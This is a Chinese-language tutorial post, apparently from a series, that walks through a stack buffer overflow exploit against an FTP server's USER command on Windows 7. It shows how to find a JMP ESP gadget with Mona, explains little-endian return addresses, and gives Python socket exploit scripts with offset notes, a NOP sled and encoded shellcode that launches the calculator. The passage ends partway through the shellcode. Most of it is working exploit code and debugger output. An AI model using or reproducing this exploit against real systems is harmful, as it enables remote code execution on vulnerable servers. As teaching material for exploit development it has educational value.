目录
说明
上一篇文末提到Win7下没有成功执行出计算器,原因是Win7和WinXP调用计算器的指令不一样啊!!!!
接下来详细解释。
Immunity Debugger+Mona 找到JMP ESP指令
//在shell32.dll模块中查找 jmp esp指令
!mona jmp -r esp -m "shell32.dll"
基于Immunity Debugger的Log窗口,或者到Immunity Debugger安装目录下,如C:\Program Files\Immunity Inc\Immunity Debugger
,找到jmp.txt
可以看出有以下信息。选择第一条指令组委跳转指令,地址为0x755c6c28
漏洞渗透程序
特别需要注意的是,同样一个地址在网络传输和CPU存储是表示方法不同,有大小端的概念。使用Python发送时为大端格式,而当前0x755c6c28
为小端格式,需要调整。
import socket
s = socket.socket()
connect = s.connect(('192.168.229.135',21))
shellcode = b"\x41"*230 + b"\x28\x6c\x5c\x75"
data = b"USER " + shellcode + b"\r\n"
s.send(data)
在Immunity Debugger查看发送的字符
同上一篇,不再赘述。
编写执行的程序
下面是一段可以在目标计算器启动一个计算器的程序 注意和winXP的内容不一样!也是上一篇没有成功的重要原因!
shellcode=b"\xd9\xcb\xbe\xb9\x23\x67\x31\xd9\x74\x24\xf4\x5a\x29\xc9\xb1\x13\x31\x72\x19\x83\xc2\x04\x03\x72\x15\x5b\xd6\x56\xe3\xc9\x71\xfa\x62\x81\xe2\x75\x82\x0b\xb3\xe1\xc0\xd9\x0b\x61\xa0\x11\xe7\x03\x41\x84\x7c\xdb\xd2\xa8\x9a\x97\xba\x68\x10\xfb\x5b\xe8\xad\x70\x7b\x28\xb3\x86\x08\x64\xac\x52\x0e\x8d\xdd\x2d\x3c\x3c\xa0\xfc\xbc\x82\x23\xa8\xd7\x94\x6e\x23\xd9\xe3\x05\xd4\x05\xf2\x1b\xe9\x09\x5a\x1c\x39\xbd"
同样的,经过验证,如果没有NOP指令,依旧报错。ESP寄存器的实际地址(发生了偏移,会使得shellcode的部分代码没有完全载入ESP寄存器机中,因为缺失,执行时会异常)
通过NOP指令,可以将shellcode偏移到ESP寄存器地址,这边确认了边界值为13。
import socket
#step 1, check offset
#shellcode = b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq"
#SEH not protected in FTP, offset is only 230
#step 2, create JMP ESP address: 755c6c28
#!mona jmp -r esp -m "shell32.dll"
#0x755c6c28 (b+0x00006c28) : jmp esp | asciiprint,ascii {PAGE_EXECUTE_READ} [SHELL32.dll] ASLR: True, Rebase: True, SafeSEH: True, OS: True, v6.1.7601.17514 (C:\Windows\system32\SHELL32.dll)
#0x755e59af (b+0x000259af) : jmp esp | {PAGE_EXECUTE_READ} [SHELL32.dll] ASLR: True, Rebase: True, SafeSEH: True, OS: True, v6.1.7601.17514 (C:\Windows\system32\SHELL32.dll)
#step2.1 buff = b"\x41"*230+ b"\x28\x6c\x5c\x75" error, need NOP
#NOP amount 13
buff = b"\x41"*230+ b"\x28\x6c\x5c\x75" + b"\x90"*13 # NOP >= 13 will be OK
shellcode=b"\xd9\xcb\xbe\xb9\x23\x67\x31\xd9\x74\x24\xf4\x5a\x29\xc9\xb1\x13\x31